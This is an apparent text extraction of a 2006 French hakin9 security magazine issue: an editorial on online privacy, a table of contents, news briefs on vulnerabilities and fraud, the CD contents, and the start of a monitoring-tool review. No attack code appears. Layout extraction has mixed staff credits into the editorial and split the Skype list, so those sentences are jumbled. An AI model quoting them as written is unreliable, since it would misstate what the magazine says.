hakin9 - 2006 - 2

hakin9 Actus Le côté obscur de la force

La déclaration qu'a récemment faite Joseph Sullivan dans CyberCrime 2003 a soulevé de nouveaux débats autour de la protection de la vie privée sur Internet. Tout le monde semble se plaindre de la déclaration suivante : eBay has probably the most generous policy of any Internet company when it comes to sharing information (eBay Secrétaire de applique certainement la politique la rédaction : plus généreuse de toutes les sociétés Tomasz Nidecki Internet lorsqu'il s'agit du partage des informations). Si quelqu'un vous envoie une brique à la place d'un lecteur de disque dur, préféreriez-vous aller en justice et attendre cinq ans avant que la mise en application de la loi ne puisse permettre de diffuser les informations détenues par eBay sur le contrevenant, qui a tout le loisir de parfaire son bronzage à Goa ? Sans mentionner le fait que lorsqu'une cour de justice agira pour des affaires de moins de 100 dollars, votre lecteur de disque sera certainement introuvable, dans les mains de quelqu'un d'autre, ou même complètement perdu. Pourtant, il fut un temps où même les personnes malveillantes n'avaient pas accès si facilement à Internet, et encore moins aux informations d'ordre privé. Afin de se sentir en sécurité, un pirate doit passer dix serveurs différents, après les avoir forcé les uns après les autres, pour finalement accéder au système de son choix. Nul doute qu'aujourd'hui, les meneurs d'Al Quaïda doivent arborer un sourire aussi narquois que celui du chat d'Alice au pays des merveilles, à la lecture des toutes dernières nouvelles sur tous les combats pour protéger les informations d'ordre privé. Il leur suffit désormais d'installer le système TOR sur leurs machines (même un utilisateur de niveau moyen peut y parvenir), puis d'utiliser Gmail (qui ne révèle pas l'adresse IP de l'expéditeur) pour leur communication, pour ne plus avoir à se soucier d'être identifiés avant de lancer une attaque à la bombe. Du moins jusqu'à ce que tous les autres serveurs de messagerie électronique ne bloquent Gmail en lui créant des difficultés légales pour ne pas révéler l'adresse IP de l'expéditeur. Rien ne justifie que quelqu'un ait le droit d'installer un programme malveillant de manière légale sur mon ordinateur pour savoir ce que j'y fais et quand. Mais je pense que lorsque les internautes décident de communiquer sur Internet, ils doivent savoir que fournir leurs données personnelles pour les identifier plus facilement (par exemple via un certificat THAWTE WoT) ne leur est pas préjudiciable, bien au contraire, compte tenu du nombre croissant de pirates malveillants. L'autre solution serait d'élaborer un ensemble de corrections stupides pour d'autres programmes correctifs, comme SPF ou encore Sender ID, ce qui nuirait gravement à la convivialité sur Internet. La vie privée a un prix. Et ce prix se paye cher. Tomasz Nidecki [email protected]

06

Marek Bettman

Vous trouverez ici les nouvelles du monde de la sécurité des systèmes informatiques.

CD-ROM – hakin9.live

10

Jadwiga Rzepecka-Makara

On vous présente le contenu et le mode de fonctionnement de la version récente de notre principale distribution hakin9.live.

Outils GFI Network Server Monitor

12

Stefan Lochbihler

GFI Network Server Monitor est un outil permettant aux administrateurs de réseaux de scanner le réseau afin d'y détecter d'éventuels échecs ou problèmes dus aux logiciels ou au matériel.

Switch Sniffer

13

Paweł Charnes

Cet article présent SwitchSniffer – un outil simple d'emploi et gratuit servant à surveiller les réseaux locaux, doté des mécanismes de base permettant la détection et l'administration des abus.

Dossier Pirater un serveur iSeries d'IBM

14

Shalom Carmel

Les serveurs iSeries, en d'autres termes AS/400, sont utilisés dans des secteurs aussi divers que le secteur manufacturier, les banques, les sociétés d'assurances, les casinos ou les administrations.

Focus Sécurité de Linux – revue des projets

28

Michał Piotrowski

Les systèmes de la famille Linux sont assez résistants aux infractions. Cependant, dans certaines situations, quand on tient particulièrement à un niveau de sécurité élevé de l'ordinateur, les distributions standards ne sont pas suffisantes.

Pratique Création de portes dérobées sophistiquées sous Linux – reniflage de paquets Brandon Edwards

36

L'une des techniques concerne les portes dérobées chargées de détecter des paquets. Nous allons donc étudier dans le présent article le mode de fonctionnement de telles techniques en écrivant notre propre outil de démonstration de ces concepts.

4

hakin9 Nº 2/2006

www.hakin9.org

Utilisation et abus sur le protocole ICMP

44

Antonio Merola

L'ICMP est souvent considéré comme un protocole innocent et sans danger. Si un système d'exploitation ou un pare feu vient à le manipuler de manière incorrecte, des pirates peuvent l'utiliser à des fins malveillantes.

Programmation Automatiser le processus d'exploitation sur Linux x86

56

Stavros Lekkas

Le contrôle d'éventuels défauts présents dans les binaires compilés est une tâche très pénible pour les pénétromètres. Cette tâche serait définitivement facilitée avec un outil susceptible d'identifier les bogues dus au surdébit de la mémoire tampon.

Alentours L'authentification de l'émetteur, protection ou menace ?

66

Tomasz Nidecki

Le courrier indésirable, l'hameçonnage du domaine émetteur posent des menaces croissantes pour la communauté Internet dans son ensemble et l'authentification de l'émetteur est devenue depuis quelque temps un enjeu important pour la messagerie électronique.

Sony, rootkit et cinquième pouvoir

74

Michał Piotr Pręgowski

Plus de 500 milles ordinateurs infectés, un scandale mondial et plusieurs procès en justice – c'est le résultat de l'installation par l'entreprise Sony BMG.

Éditorial Un peu de noirceur dans un monde idéal

78

Konstantin Klyagin

La liberté de pirater est l'un des droits les plus fondamentaux acquis par l'humanité dans un des combats virtuels les plus importants de tous.

Les vieux démons de Microsoft

79

Tomasz Nidecki

Les idées les plus fausses répendues sur la sécurité informatique.

Dans le prochain numéro

82

Jadwiga Rzepecka-Makara

Les articles qui seront publiés dans le numéro de hakin9 à venir.

www.hakin9.org

Le périodique hakin9 est publié par Software-Wydawnictwo Sp. z o.o. Piaskowa 3, 01-067 Varsovie, Pologne Tél. +48 22 887 10 10, Fax. +48 22 887 10 11 www.hakin9.org Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi Ekonomiczna 30/36, 93-426 Łódź Imprimé en Pologne/Printed in Poland Abonnement 1 an (soit 6 numéros) 38 € Dépôt légal : à parution ISSN : 1731-7037 Distribution : MLP Parc d’activités de Chesnes, 55 bd de la Noirée BP 59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX (c) 2005 Software-Wydawnictwo, tous les droits réservés Chef de produit : Magda Kotowska [email protected] Secrétaire de rédaction : Tomasz Nidecki Préparation du CD : Witold Pietrzak Maquette : Anna Osiecka [email protected] Couverture : Agnieszka Marchocka Traduction : Grażyna Wełna, Marie-Laure Perrotey, Paul Muraille Correction : Jérémy Fromaget, Gilles Gaffet, Pierre-Emmanuel, Leriche, Gilles Fournil, Pierre Mennechet, Jeremy Canale, Pierre Aure, Beb Sabeur Soufiene, Patrick Fernandez, Pascal Miquet, Augustin Pascual Les personnes intéressées par la coopération sont priées de nous contacter : [email protected] Abonnement : [email protected] Fabrication : Marta Kurpiewska [email protected] Diffusion : Monika Godlewska [email protected] Publicité : [email protected] Si vous êtes intéressé par l’achat de licence de publication de revues merci de contacter : Monika Godlewska e-mail : [email protected] tél : +48 (22) 887 12 66 fax : +48 (22) 887 10 11 La rédaction fait tout son possible pour s’assurer que les logiciels sont à jour, pourtant elle décline toute responsabilité pour leur utilisation. Elle ne fournit pas de support technique lié à l’installation ou l’utilisation des logiciels enregistrés sur le CD-ROM. Tous les logos et marques déposés sont la propriété de leurs propriétaires respectifs. La rédaction utilise le système PAO Pour créer les diagrammes on a utilisé le programme Le CD-ROM joint au magazine a été testé avec AntiVirenKit de la société G Data Software Sp. z o.o.

La revue hakin9 est publiée en 7 versions : FR

PL

CZ

IT

DE

ES

EN

AVERTISSEMENT

Les techniques présentées dans les articles ne peuvent être utilisées qu'au sein des réseaux internes. La rédaction du magazine n'est pas responsable de l'utilisation incorrecte des techniques présentées. L'utilisation des techniques présentées peut provoquer la perte des données !

hakin9 Nr 2/2006

5

Actus

Une révolution dans la protection et dans l'identification

Le plus grand organisme de recherche CSIRO a élaboré la technologie DataTraceDNA permettant de protéger et d'identifier les produits grâce aux codes chimiques. DataTraceDNA intègre les modèles uniques et ineffaçables des particules fondamentales avec la structure des matériaux et des produits. Les particules élémentaires, invisibles pour l'oeil humain, peuvent être sans problèmes lues comme code à barre à l'aide d'un lecteur portable spécial. Le code à barre chimique est très complexe et en même temps très difficile à falsifier. De plus, il est impossible de le supprimer ou de le modifier car il fait partie de la structure du matériau ou du produit. À présent, la société se concentre sur l'intégration de la nouvelle technologie au ciment, au bois, aux explosifs, aux colles, aux colorants, aux emballages et polymères, aux substances chimiques et aux emballages pharmaceutiques.

Skype dangereux

S

elon Info-Tech, l'entreprise s'occupant des analyses du secteur IT, en ce qui concerne l'usage professionnel, Skype devrait être ajouté à la liste des logiciels dont l'usage est proscrit dans le cadre du travail. Environ 17 millions d'utilisateurs de Skype enregistrés l'utilisent à des fins commerciales. 17 millions d'utilisateurs seront une porte dérobée idéale pour les pirates – dit un employé d'Info-Tech. Selon Info-Tech, les inconvénients majeurs de Skype sont : • •

• •

Les domaines .eu pas pour les Suisses

En vertu des règlements de l'UE, les habitants de Suisse ne pourront pas enregistrer leurs adresses dans le domaine européenne commune – .eu. Bien que le pays soit situé au coeur de l'Europe, le droit d'enregistrer les adresses dans le nouveau domaine européen n'est réservé qu'aux pays membres de l'Union Européenne. Beat Fehr, chef de l'une des sociétés Internet qui ont le droit de vendre les adresses dans le domaine .eu, est très inquiet de cette information. Selon lui, les entreprises suisses, telles que Nestle et Swatch, perdront leurs domaines européennes en faveur des entreprises étrangères malignes qui réussiront à enregistrer les adresses contenant les noms de ces entreprises. Il admet que tous les pays du Vieux Continent doivent avoir le droit au domaine .eu. Mais les négociations entre la Commission Suisse de Communication et la Commission Européenne n'ont pas mené aux résultats attendus. Cette situation concerne aussi d'autres pays européens n'étant pas membres de l'UE – Islande, Liechtenstein et Norvège.

6

hakin9 Nº 2/2006

•

l'utilisation du chiffrage à code source fermé, l'application est très vulnérable aux attaques de type man-inthe-middle, les mécanismes de gestion de clés sont inconnus, la communication au niveau professionnel au moyen de Skype peut rendre la vie de nos clients plus difficile parce que plusieurs institutions ont ajouté Skype à leurs listes noires, Skype ne coopère pas avec les pare-feux les plus populaires, résultat, une faille détectée dans l'application ou bien une attaque contre l'application même ne sera pas filtrée par un pare-feu type.

Le pire est que même un cracker peu avancé est capable de prendre le contrôle de notre réseau grâce aux failles et imperfections dans l'application Skype – ajoutent les employés d'Info-Tech. Dès qu'eBay, leader des enchères en ligne, a décidé d'acheter Skype – leader de la téléphonie par Internet, les spécialistes en sécurité réseau se sont indignés. L'intervention de Joseph E. Sullivan à la conférence CyberCrime2003 a mis de l'huile sur le feu. Est-ce que les coordonnées des utilisateurs de Skype sont facilement accessibles et leur confidentialité menacée ? Scott Granneman dans SecurityFocus cite l'opinion d'un employé d'eBay de la conférence CyberCrime2003 :

www.hakin9.org

Je sais d'expérience issue d'études de cas de fraude qu'eBay a probablement la politique la plus généreuse de n'importe quelle compagnie d'Internet quant au partage l'information. Nous n'avons pas besoin d'une citation excepté des circonstances très particulières. Nous avons besoin d'une citation quand nous avons besoin de l'information financière du site, de l'information de carte de crédit ou parfois de l'IP. Ainsi, cela nous ouvre vraiment des portes. Cela signifie qu'avec notre politique, si vous êtes une agence d'application de la loi vous pouvez nous envoyer par fax un papier à en-tête pour demander l'information concernant un identifiant de vendeur, et savoir ainsi qui est derrière l'identifiant d'utilisateur. Nous vous donnons leur nom, leur adresse, leur adresse e-mail et nous pouvons vous donner leur histoirique de ventes sans injonction. Nous vous dirons probablement aussi que vous pourriez vouloir obtenir une citation parce que nous recherchons l'information de carte de crédit et vous demandez cela. Nous effectuons beaucoup de travail avec des agences d'application de loi. Skype est présenté par ses auteurs comme tout à fait sûr (le chiffrage de l'appel par l'algorithme AES, et RSA pour la négociation de la clé), mais vu que son code source n'a pas été révélé, nous ne pouvons que croire que les programmeurs qui affirment que les informations envoyées par Skype sont connues seulement de nous et du destinataire. Ceux qui ne veulent pas risquer la fuite de leurs coordonnées cherchent une alternative à la téléphonie par Internet VoIP offerte par Skype – et ce n’est pas difficile. Outre Skype, seul Gizmo compte sur le marché de la téléphonie VoIP. Lui aussi utilise un chiffrage fort, mais par rapport à Skype, pour communiquer il se sert du protocole ouvert SIP (messagerie vocale) et de XMMP/Jabber (messagerie textuelle). Tout comme Skype, il fonctionne sur Windows/Linux et Macintosh.

En bref

IT UNDERGROUND 2006

L

'accès illimité au réseau global nous a mis devant les dangers qui jusqu'alors n'étaient présents que dans les visions des romanciers et metteurs en scènes de sciencefiction. La puissance de calcul des ordinateurs grandissante, une large bande passante et l'ingéniosité des cyberpirates obligent les personnes responsables de la sécurité à être vigilants. Tous les sujets seront abordés pendant la conférence en Europe IT UNDERGROUND 2006. Nous pourrons nous renseigner sur les méthodes des attaques, les manières de nous y défendre, la sécurité des réseaux sans fil et l'analyse après intrusion. Les sujets de la session : • • • • • • • • • • • • •

Attaques sur les applications Unix, Attaques sur les applications Windows, Techniques de l'infraction de la protection, Analyse du code binaire, du code source, Sécurité des services Web Services, Sécurité des bases de données, Sécurité du matériel, Scannage et analyse des réseaux, Anonymat et confidentialité dans le Net, Renforcement des systèmes Unix, Renforcement des systèmes Windows, Analyse après intrusion des systèmes Unix/Linux, Analyse après intrusion des systèmes Windows,

• • • • • • • • • • •

Sécurité des réseau sans fil (WiFi, Bluetooth), Cryptographie, Rootkits, portes dérobées dans les systèmes Unix, Rootkits, portes dérobées dans les systèmes Windows, Canaux dissimulés et stéganographie réseau, Analyse des vers, logiciels malveillants, logiciels espions, Certificats de sécurité, PKI, Ingénierie inverse, Ingénierie sociale, Aspects légaux, BYOL.

Une partie des conférences seront tenues sous forme BYOL. Ces conférences sont adressées à ceux qui prendront leurs propres ordinateurs mobiles, ce qui leur permettra de participer activement aux sessions. Les participants pourront démarrer les ordinateurs sur le Cd spécialement préparé contenant les distributions hakin9.live, et ensuite, s'introduire à un réseau test en se servant des techniques présentées par le conférencier ou se défendre contre une attaque effectuée par d'autres participants. Les conférences les plus proches : • • •

IT UNDERGROUND 2006, avril – Grande Bretagne, IT UNDERGROUND 2006, juin – Espagne, IT UNDERGROUND 2006, septembre – Italie.

Les informations détaillées concernant les conférences sont disponibles sur le site http://www.itunderground.org/.

Une faille dans iTunes

L

a société eEye annonce la découverte d'une faille de sécurité très dangereuse dans le logiciel iTunes permettant à un assaillant de prendre le contrôle de l'ordinateur de l'utilisateur. Pour l'instant, l'entreprise Apple ne commente pas cette découverte. Sur le site d'eEye on peut lire que la faille dans iTunes permet d'exécuter

à distance du code arbitraire sur la machine cible. Les détails concernant la faille n'ont pas été révélés. On sait que le problème relatif aux vulnérabilité du code concerne différentes version du logiciel – y compris la version 6 la plus récente. Le problème concerne uniquement la version pour Windows.

www.hakin9.org

Microsoft ouvre les spécifications des fichiers MS Office

Le géant de Redmond a annoncé l'ouverture du format des fichiers Office XML et s'est adressé à l'organisation internationale de standardisation ECMA afin d'en faire un standard ouvert et certifié. On a l'impression que Microsoft a compris que son attitude décidée envers l'ouverture de certains formats peut être très désavantageuse. En particulier, dans le domaine de la bureautique où il a un concurrent fort, c'est-à-dire le format OpenDocument. Microsoft a annoncé la publication des outils spéciaux permettant la conversion des données enregistrées dans l'ancien format en fichiers Office XML.

La fin du projet SETI@home L'expérimentation internationale SETI@home dont l'objectif était de décrypter les signaux spatiaux captés sur terre afin de détecter la présence d'extra-terrestres, le 15 décembre 2005 a été intégré au projet BOINC (Berkeley Open Infrastructure for Network Computing), une unité créée par le coordinateur de SETI@home – L'Université Berkeley (Californie). Les résultats de l'expérimentation, après une analyse détaillée, seront publiés dans Internet. Les représentants de BOINC ont annoncé que les utilisateurs intéressés par la recherche de la vie extra-terrestre peuvent continuer leurs recherches. De plus, ils pourront participer aux nouveaux projets BOINC liés p.ex. à la biologie moléculaire, à la physique ou aux changements climatiques.

Les fausses lettres du FBI autrichien

Le correspondant autrichien du FBI – Bureau Fédéral d'Investigation – avertit des emails dont les auteurs usurpent le nom du Bureau. En général, ces lettres sont adressées aux habitants de l'Autriche, de l'Allemagne, de la Suisse et d'autres pays européens. La lettre informe que l'utilisateur utilise les copies illégales des programmes. Le fichier joint contient une version du virus Sober. Le Bureau Fédéral d'Investigation conseille de ne pas ouvrir la pièce jointe et informe qu'il n'a rien à voir avec le courrier de ce type.

hakin9 Nº 2/2006

7

Actus

Arudius – Information Security Toolkit

Arudius Linux est un live CD contenant les tests de pénétration et l'analyse de vulnérabilités, basé sur Slackware (Minislack/Zenwalk) pour les systèmes i386. Il est distribué sous les termes de la licence GNU GPL et ne contient que les logiciels open-source. Dans le futur très proche, le CD contiendra des outils développés par les auteurs, surtout les sniffeurs réseau pour les applications IM et P2P. La différence la plus importante entre Arudius et d'autres distributions de sécurité est qu'Arudius est développé par les spécialistes employés dans le secteur de la sécurité informatique et constitue une partie de leurs travaux quotidiens, ce qui assure les mises à jour régulières. Arudius se prête très bien aux tests de pénétration externes et internes. Dans un scénario, on peut utiliser l'outil EtherApe pour obtenir l'empreinte du réseau, identifier les relations entre les hôtes et affecter les services aux fonctions. On peut aussi lancer l'outil Nessus pour effectuer le scannage du réseau et découvrir les systèmes vulnérables. Enfin, on peut lancer Raccess qui tentera de télécharger automatiquement et exécuter les exploits connus pour les vulnérabilités détectées.

BIN GigaCon

Sécurité et Fiabilité des Systèmes Informatiques – la plus grande conférence consacrée à la sécurité et à la fiabilité des systèmes informatiques en Europe Centrale, cette année aura lieu aussi en Allemagne et en France. Jusqu'à présent, six éditions en Pologne et trois en Tchequie ont eu déjà lieu. Chaque conférence attire un grand nombre de participants et plusieurs entreprises présentant leurs solutions. La décision de Software-Konferencje d'organiser les rencontres en France et en Allemagne est un évènement important pour tous ceux qui s'occupent quotidiennement de la sécurité des systèmes informatiques. Chaque édition inclut plus de 30 conférences et 3 sessions thématiques simultanées accompagnées des ateliers. Pour les utilisateurs, la participation est gratuite. Le magazine hakin9 participait à toutes les éditions polonaises et tchèques. Nous serons aussi présents en Allemagne et en France.

8

hakin9 Nº 2/2006

La sécurité d'Internet menacée

L

es chercheurs de l’Université d’Oulu, en Finlande ont découvert une vulnérabilité grave dans l'implémentation du protocole ISAKMP (Internet Security Association and Key Management Protocol) utilisé dans les produits de Cisco et Juniper Networks. La faille découverte est si grave que les résultats des recherches ont été immédiatement annoncés par le Centre National Britannique pour la Coordination de la Sécurité du Réseau et par le CERT finnois. Les pare-feux réseau de Cisco Systems et de Juniper Networks sont les plus vulnérables à cette faille. Les deux entreprises ont été déjà informés sur ce nouveau danger. Les représentants de l'entreprise Cisco ont avoué qu'un paquet spécialement préparé peut entraî-

ner un redémarrage des périphériques permettant les attaques de type DoS. L'entreprise fournit déjà une mise à jour gratuite de ses logiciels. Parmi les produits menacés sont les applications Cisco IOS, Cisco PIX Firewall, Cisco Firewall Services Module, Cisco VPN 3000 Series Concentrators et Cisco MDS Series SanOS. L'entreprise Juniper a aussi réagi aux révélations et a annoncé que les logiciels vendus après le 28 juillet possèdent déjà la protection appropriée. Parmi les produits les plus vulnérables figurent les routeurs de la série M, T, J et E, et aussi la plupart des versions des logiciels Junos et JunoSE Security.

De lourdes peines de prison pour une cyberinfraction

D

eux Nigérians ont été condamnés à une lourde peine de prison pour une grosse affaire d'escroquerie jamais organisée dans le pays et liée à l'extorsion via Internet. Emmanuel Nwude a été condamné à 25 ans de prison, et son complice Nzeribe Okoli à 12 ans pour avoir volé 242 millions de dollars à une banque brésilienne. Les deux hommes devront également verser d'importantes sommes, estimées à 121,5 millions de dollars, à l'État fédéral pour dédommager les clients de Banko Noroeste de Sao Paulo. Les actions des Nigérians avaient conduit l'établissement financier à la faillite. Le troisième des accusés, Amaka Anajemba, a consenti à payer 48,5 millions de dollars d'indemnités et a été condamné à deux ans et demi de prison. Les trois principaux inculpés ont dupé le directeur financier international de Banco Noroeste, qui a procédé à plusieurs versements importants avec la promesse d'un pourcentage sur un contrat portant

www.hakin9.org

sur la construction du nouvel aéroport international de la capitale nigériane, Abuja. Les escroqueries de ce type font extorquer dans les États Unis 1 millions de dollars par jour – et depuis des années, ce procédé s'intensifie. Pour le Nigeria, c'est la troisième branche de l'industrie. Dans plusieurs pays du monde toute ou presque toute lettre du Nigeria, de l'Afrique du Sud, du Zimbabwe, de l'Angola, du Sierra Leone ou de la Côte d'Ivoire est considérée comme prélude à l'extorsion de l'argent. Depuis 1999 au Nigeria fonctionne une agence du Secret Service américain, mais malgré les arrestations, le procédé tourne de plus en plus vite et embrasse de plus en plus de pays du monde. Malheureusement, il s'avère que le gouvernement du Nigeria ne veut pas collaborer à la lutte contre ce procédé – personne n'a été condamné par le gouvernement nigérian de l'article §419 du Code Pénal, et aucune victime n'a obtenu l'indemnité.

En bref

Pas seulement la Chine

Q

uand nous pensons aux pays qui introduisent les limitations de l'accès à Internet, l'une des premières associations sera probablement la Chine. Certainement, peu de personnes indiqueraient les États Unis, c'est-à-dire le pays où les libertés sont garanties par la Constitution. Par contre, c'est aux États Unis, et plus précisément à la Pope John XIII High School dans l'état du New Jersey, qu'on a interdit de publier les blogs (les mémoires en ligne). Le directeur de l'école, le révérend Kieran McHugh, a demandé de fermer les blogs et pages personnelles en menaçant de mesures administratives de suspension si les élèves ne se pliaient pas à cette règle. Curieusement, McHugh ne savait pas justifier sa décision ni à expliquer pourquoi les blogs sont mauvais. L'une des enseignantes a expliqué que cette décision n'est une forme de censure mais a pour but de fixer les normes sociales garantissant la politesse et le respect. Elle a aussi ajouté que l'interdiction

de bloguer protégera les enfants contre les délits sexuels, les cyberextorsions et les importuns. De plus, le directeur McHugh a constaté : D'après moi, cette interdiction n'est pas une forme de censure. Je suis sûr qu'elle apprendra à nos élèves le comportement social approprié. Si ma décision préserve au moins un enfant des tentatives des malfaiteurs, je n'ai pas l'intention de m'excuser. Les élèves eux-mêmes sont, par la plupart, convaincus que l'enseignant s'est un peu irrité après que certains d'entre eux aient commenté leur école dans les blogs. Et probablement, ils ont raison parce qu'un des élèves a été relégué de l'école après avoir publié dans son blog une opinion défavorable sur son enseignant. Vu que l'École de John XIII est une institution privée, son directeur a le droit de déterminer les interdictions souhaitées concernant l'activité de l'institution. Pourtant, personne n'a jamais imaginé qu'au XXI siècle, la Sainte Inquisition reviendrait.

De nouvelles protections des films

L

ors de la conférence du DVD Forum qui a eu lieu à Paris, on a présenté une nouvelle technologie dont la tâche consistait à protéger les films contre la copie et la distribution illégales vendus sur les HD-DVD. Le système des filigranes sonores a été présenté par Allan Bell de Warner Brothers. Tous les lecteurs HD-DVD seront dotés d'un senseur qui vérifiera les filigranes inaudibles pour l'oreille humain contenus dans la piste sonore des films. Toutes les productions filmiques qui seront jouées aux cinemas seront munies de cette protection. Quand le lecteur détectera du code caché, il considérera le support comme une copie illégale et empêchera sa lecture dans le lecteur donné. La branche cinéma veut éliminer les copies illégales des films qui n'ont pas encore eus leur première, enregistrés sur les caméras numériques.

Les disques HD-DVD à l'usage domestique seront aussi dotés d'un filigrane sonore qui différera de sa version cinéma. Pourtant, dans ce cas le système vérifiera si le disque est enregistré en fabrique ou bien s'il a été créé à la suite d'une copie illégale. Toutes les copies illégales seront détectées, aussi bien celles gravées dans les graveurs DVD et celles enregistrées à l'aide d'une caméra numérique. Si le senseur détecte une copie illégale, le lecteur sera arrêté. De plus, Microsoft a rejoint les partisans du format HD-DVD, ce qui suggère que la protection sera implémentée dans Windows. Nous espérons que le système de protection basé sur les filigranes sonores n'aura pas d'attributs supplémentaires telles que les programmes de Sony protégeant les CD audio ou la plupart des imprimantes couleur produites aux États Unis.

www.hakin9.org

Big Blue et IBM les plus rapides

La liste de 500 ordinateurs les plus rapides au monde publiée dans Internet a apporté quelques surprises. Les systèmes les plus performants sont les machines d'IBM, et le matériel basé sur les systèmes d'Intel. Les machines dotées des processeurs Itanium se caractérisent par les performances plus faibles. L'ordinateur le plus rapide est le système BlueGene/L d'IBM, travaillant à Lawrence Livermore National Laboratory. La puissance actuelle est de 280,6 Tflops/s et est deux fois plus grande que lors de l'examen précédent, quand le système n'était pas encore tout à fait prêt. Mais ce n'est pas un seul résultat dont peut se vanter Big Blue car en deuxième position sur la liste est placée aussi une machine de cette entreprise, et parmi tous les superordinateurs de la liste, 43,8% sont les produits d'IBM. Le deuxième grand fabricant des ordinateurs les plus performants au monde est l'entreprise HP. Dans la liste, les ordinateurs de ce fabricant constituent 33,8% de tous les systèmes. Quand aux autres entreprises offrant les superordinateurs aucune n'a dépassé 7%. Sur 500 ordinateurs de la liste, 333 machines utilisaient les processeurs d'Intel, par contre les Opterons étaient présents dans 55 systèmes.

Windows via Internet

Microsoft a annoncé qu'une partie d'applications de l'environnement Windows sera transférée des disques durs dans Internet. Suivant Bill Gates, le nouveau site Web, appelé Windows Live, permettra l'utilisation de plusieurs applications Windows à l'endroit et au temps voulu. Pourtant, le fondateur de Microsoft a souligné que le nouveau service et Windows Office apparenté ne remplaceront pas pleinement les programmes installés sur les disques durs. Le nouveau site Web facilitera l'accès à plusieurs applications Windows pour plus de 28 mln de clients de la PME dans le monde entier en offrant les extensions des applications Office standard et de nouveaux services qui sont d'habitude hors la portée des clients de ce secteur.

hakin9 Nº 2/2006

9

CD-ROM

hakin9.live

L

e CD joint au magazine contient hakin9.live (h9l) en version 2.9-ng – une version bootable de Linux contenant divers outils, de la documentation, des tutoriaux et les matériaux complémentaires aux articles. Pour commencer le travail avec hakin9.live, il vous suffit de démarrer l'ordinateur à partir du CD fournit. Après le démarrage du système, vous pouvez ouvrir la session en tant qu'utilisateur hakin9 sans mot de passe. Pour la première fois, il vous est possible d'installer cette version de h9l sur le disque dur. La structure des répertoires se présente comme suit : • •

• • •

•

doc – la documentation au format HTML, hit – les hits de ce numéro : Shadow Security Scanner, un des scanners de sécurité les plus connus au monde; une version complète pour les lecteurs de hakin9 (5 adresses IP) ; vous pouvez obtenir le numéro de série sur : http://www.gfi.com/pages/ hakin9offer.htm, art – matériaux complémentaires aux articles : listings, scripts, programmes indispensables, tut – tutoriaux, add – livres et autres documents au format PDF (en outre Using PGB/GnuPG and S/MIME with Email, ICMP attacks against TCP, Host Fingerprinting and Firewalking With hping, Writing Stack Based Overflows on Windows (4 pats + Exemples), rfc – documents contenant les RFC actuels.

Les anciens outils se trouvent dans les sous-répertoires _arch, par contre les nouveaux –sont dans les répertoires principaux à l'image de la structure ci-dessus. Si vous parcourez le CD, cette structure est disponible dans le sous-répertoire /mnt/cdrom. La version 2.8-ng h9l est basée sur la distribution Linux Gentoo et les scripts sur livecd-tools. Les outils non disponibles dans le référentiel Gentoo sont installés

Figure 1. Nouveaux outils indispensables

10

hakin9 Nº 2/2006

à partir des paquets du répertoire /usr/local/portage ou chargés dans le répertoire /usr/local/bin. Il y a eu un esemble de modifications par rapport à la version h9l 2.8-ng, tout d'abord le noyau a été mis à jour (actuellement en version 2.6.14. avec les patches gentoo-sources-2.6.14-r4). Les nouvelles versions des paquets ont été mis à jour. Le support de PCI et USB ont été ajouté. La version actuelle de h9l contient entre autres : • • •

ap-utils – ensemble des outils pour la configuration Access Point, mrtg – outils de serveillance reséaux, ekg2 – messagerie instantée suportant entre autre tels protocoles que Jabber.

Les plug-ins pour le logiciel Nessus ont été également actualisés. La nouvelle h9l integre un installeur (scripts Knoppix modifiés). Après l'installation sur le disque il est possible d'utiliser portage (la commande emerge) pour installer des logiciels supplémentaires. Flubox avec le gestionnaire de fichiers ROX est l'environnement graphique utilisé sur h9l.

Tutoriaux et documentation

La documentation contient, entre autres, les tutoriaux préparés par la rédaction avec les exercices pratiques pour les titres tel que : ICMP – Utilisation et abus sur le protocole ICMP (deux tutoriaux), Automatiser le processus d'exploitation sur Linux x86, Création de portes dérobées sophistiquées sous Linux – reniflage de paquets. Tours de passe-passe pour pare-feux sont conçus pour être utilisés sur hakin9.live. Grâce à cette solution, vous évitez tous les problèmes relatifs aux différentes versions de compilateurs, à la localisation de fichiers de configuration ou aux autres options nécessaires pour démarrer les programmes dans un environnement donné. l

Figure 2. À la une de ce numéro – Shadow Security Scanner

www.hakin9.org

S’il vous est impossible de lire le CD, et ce dernier n’est pas endommagé mécaniquement, essayez de le lire au moins dans 2 lecteurs.

En cas de problème avec votre CD, envoyez-nous un message à l’adresse suivante : [email protected]

GFI Network Server Monitor 7

Outils

Système : Windows Licence : commerciale avec une version d'essai de 10 ou 30 jours Application : surveillances des éventuels échecs du réseau et des serveurs Site : http://www.gfi.com/ GFI Network Server Monitor est un outil permettant aux administrateurs de réseaux de scanner le réseau afin d'y détecter d'éventuels échecs ou problèmes dus aux logiciels ou au matériel. Cet outil est capable d'alerter les administrateurs avant que les utilisateurs ne leur fassent part d'un problème.

Démarrage rapide : Supposons que vous administriez un réseau composé d'un serveur Win 2003 et d'un serveur SUSE proposant des services HTTP, SSH et FTP. Vous êtes à la recherche d'un outil susceptible d'inspecter vos services sans interruption et de vous informer immédiatement d'une éventuelle erreur. GFI Network Server Monitor est l'outil qu'il vous faut. Il faut commencer par paramétrer quelques contrôles élémentaires sur votre système SUSE. Pour ce faire, il vous faut créer un nouveau dossier qui contiendra vos règles et vos paramètres pour le système d'inspection. Sélectionnez l'option intitulée Monitoring Checks Configuration (configuration des contrôles de surveillance) dans l'explorateur de l'outil, puis d'un clic droit, créez un nouveau dossier. Avec un nouveau clic droit sur le dossier, vous pouvez modifier les propriétés de contrôle de votre système de surveillance. Commencez par entrer l'adresse IP et le nom de l'hôte que vous souhaitez inspecter, puis réglez l'option Error Threshold (seuil d'erreur) sur un. Sélectionnez ensuite certificate authentication (authentification de certificat) dans l'onglet intitulé Logon credentials (permission d'ouverture de session) afin de bénéficier d'une connexion sécurisée. Vous devrez également définir dans l'option Alert -> Settings (Alerte -> Réglages) sous la rubrique intitulée Actions la façon dont vous souhaitez être informé d'éventuels problèmes sur votre réseau. Si vous souhaitez être informé par messagerie électronique, décochez les crochets devant les options Send a SMS message to (Envoyer un message SMS à) et Send a network message to (Envoyer un message réseau à). Vous pouvez désormais ajouter certaines règles. Double cliquez sur le dossier, puis d'un clic droit paramétrez un nouveau contrôle de surveillance. Sélectionnez HTTP dans la liste des règles puis renseignez les serveurs IP et les noms des hôtes sur la page suivante. Si vous êtes intéressé par la disponibilité de votre site, sélectionnez l'option intitulée Check for availability only. Vous souhaitez par ailleurs savoir si le processus Apache 